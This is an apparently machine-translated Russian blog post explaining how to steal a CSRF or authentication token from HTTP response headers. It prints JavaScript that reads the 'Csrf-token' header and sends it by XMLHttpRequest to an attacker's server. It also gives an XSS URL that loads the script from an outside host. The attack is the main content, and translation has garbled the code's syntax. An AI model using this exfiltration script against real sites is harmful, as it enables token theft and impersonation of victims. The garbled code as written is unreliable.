Привет, народ,

Это короткое сообщение в блоге, объясняющее: «Как можно украсть заголовки, содержащие токен CSRF / токен аутентификации?»

Когда вы проверяете какой-либо сайт, и вы можете найти только файлы cookie HTTP, чтобы вы не могли взломать файлы cookie, а также Иногда нет токена CSRF или любой другой важной информации на веб-странице с точки зрения злоумышленника

но иногда они задаются в заголовках ответов. Как показано ниже

На рис: 1 видно, что на сайте присутствует заголовок CSRF-токена. Теперь мы его украдем.

Хорошо, ниже приведен код, который крадет заголовок токена и отправляет его на сервер злоумышленника.

var xhr = новый XMLHttpRequest ();

xhr.onreadystatechange = function ()
{
if (xhr.readyState == 4 && xhr.status == 200)
{
var yourtoken = xhr.getResponseHeader ('Csrf -token ')
var xhr2 = new XMLHttpRequest ();
xhr2.open (GET, « http: //attatcker's.server/ ' + yourtoken);
xhr2. send ();
}
}
xhr.open (GET, http: //yourvictim/demo/search.php ');
xhr.send ();

Есть два XMLHttpRequests: xhr и xhr2

Теперь, что делает xhr, просто перейдите на ту страницу, которая содержит заголовок ответа. Затем он захватывает токен заголовка csrf с помощью

getResponseHeader («Имя вашего заголовка»)

Таким образом, он получает заголовок, а затем значение сохраняется в переменной. т.е. yourtoken

Затем я отправляю еще один запрос xhr, то есть xhr2. Это для отправки заголовка токена csrf на сервер злоумышленника.

Есть смысл?

Теперь предположим, что вы нашли XSS в любой конечной точке URL. Что вы можете сделать, это просто вызвать этот скрипт. Что-то вроде этого

http: //yourvictim/demo/search.php ? search = ‹script src = http: //you.com/thiscode.js›

Теперь, когда жертва нажимает это, как это происходит, код украдет токен Csrf жертвы. А затем отправьте его на сервер злоумышленника.

Вы можете увидеть результат ниже.

Теперь у злоумышленника есть ваш токен. Он может выдать себя за вас.

Вот и все. Надеюсь, вам понравится :). Пожалуйста, поделитесь своим мнением, если хотите.

Спасибо за прочтение.

Контакт:

Https://twitter.com/@agrawalsmart7